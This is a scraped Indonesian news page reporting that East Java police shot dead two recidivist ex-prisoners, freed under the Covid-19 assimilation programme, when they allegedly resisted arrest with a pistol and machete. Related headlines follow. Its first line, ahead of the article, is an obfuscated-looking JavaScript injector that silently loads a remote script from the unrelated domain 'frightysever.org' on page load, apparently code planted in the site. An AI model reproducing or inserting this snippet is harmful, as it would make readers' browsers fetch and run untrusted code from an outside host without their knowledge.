(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SURABAYA – Polisi benar-benar menindak tegas para narapidana yang telah bebas melalui program asimilasi dampak wabah virus corona atau Covid-19 di Surabaya, Jawa Timur yang kembali melakukan kejahatan.
Tak main-main, tindakan tegas yang dilakukan oleh aparat kepolisian ini berupa tembak mati. Tembak mati tersebut dilakukan terhadap dua mantan narapidana penerima program asimilasi pada Selasa (5/5/2020) dini hari.
Informasi yang dihimpun, mereka berdua yakni Zainul Arifin alias Pitik (36) dan M Imron Rosadi alias Baron (40). Mereka berdua berasal dari Kabupaten Pasuruan.
“Kedua pelaku baru bebas asimilasi pada tanggal 6 dan 7 April 2020 dari Lapas Lowokwaru, Malang,” ujar Kasubdit Jatanras Ditreskrimum Polda Jatim, Kompol Oki Ahadian Purwono di RSU dr Soetomo Surabaya.
Aparat kepolisian terpaksa melakukan tembak mati terhadap kedua bandit tersebut lantaran menyerang petugas menggunakan senjata api dan sebilah parang saat dilakukan penangkapan.
“Kedua pelaku kami lakukan tindakan tegas terukur karena melawan anggota menggunakan senpi dan senjata tajam saat kami sergap di kawasan Gempol, Pasuruan,” katanya.
Oki menjelaskan, tindakan tegas berupa tembak mati itu dilakukan bermula ketika dua pelaku dibuntuti oleh anggota di kawasan Gempol Pasuruan.
Sempat terjadi aksi kejar-kejaran sampai akhirnya salah satu pelaku mengarahkan tembakan satu kali ke arah anggota namun meleset.
“Sejumlah anggota Jatanras kemudian menghadang kedua pelaku, saat itu mereka mulai melawan menggunakan parang. Dari situlah akhirnya anggota kami melakukan tindakan terukur,” jelasnya.
Sementara itu, dari hasil penyelidikan yang dilakukan, kedua bandit ini sudah beraksi di tiga wilayah yakni Trenggalek, Blitar dan Tulungagung. Barang yang dicuri berupa motor dan mobil.
“Kedua pelaku ini merupakan residivis. Pelaku ZA sudah lima kali masuk penjara, sementara pelaku IR sudah enam kali,” tambahnya.
Dari hasil penyergapan, Tim Jatanras menyita sejumlah barang bukti berupa senpi jenis pistol lengkap dengan beberapa butir peluru tajam dan sebilah parang. (suara.com)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.